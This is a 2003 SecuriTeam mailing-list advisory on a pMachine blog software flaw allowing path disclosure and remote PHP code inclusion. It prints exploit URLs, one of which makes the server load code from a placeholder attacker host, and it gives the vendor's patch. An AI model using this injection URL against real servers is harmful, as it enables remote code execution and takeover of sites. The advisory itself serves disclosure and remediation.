[NEWS] pMachine Include() Vulnerability Allows Path Disclosure and Code Injection
From: SecuriTeam (support_at_securiteam.com)
Date: 06/19/03
- Previous message: SecuriTeam: "[NT] Multiple Vulnerabilities in Power Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 19 Jun 2003 18:56:57 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security in Canada
Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
We welcome ISPs, system integrators and IT systems resellers
to promote the most advanced vulnerability assessment solutions today.
Contact us at 416-482-0038 or at canadasales@beyondsecurity.com
- - - - - - - - -
pMachine Include() Vulnerability Allows Path Disclosure and Code Injection
------------------------------------------------------------------------
SUMMARY
<http://www.pmachine.com/> pMachine provides blogging and news software
with extra features, like member registration, mailing list manager,
random, etc. A path disclosure vulnerability in the product allows remote
attackers to discover the path under which the product is installed and to
cause the server to include arbitrary PHP code (allowing executing of
arbitrary code).
DETAILS
Exploit:
Arbitrary code execution:
Using the following URL:
http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=.txt
Will cause the server to include http://[attacker]/config.txt into the PHP
file (allowing attackers to cause it to execute arbitrary code).
Path disclosure:
Using the following URL:
http://[target]/pm/lib.inc.php?sfx=/badcode.txt
Will cause the server to display the path under which the product is
installed.
Vendor status:
The vendor recommands that you do the following:
Open: /pm/inc.lib.php
Look for this comment:
// ----------------------------------------------
// MASTER INCLUDES
// ----------------------------------------------
Just below it add this code:
if ( ! file_exists("{$pm_path}config$sfx"))
exit;
ADDITIONAL INFORMATION
The information has been provided by <mailto:black0angels@interfree.it>
black0angels.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Multiple Vulnerabilities in Power Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]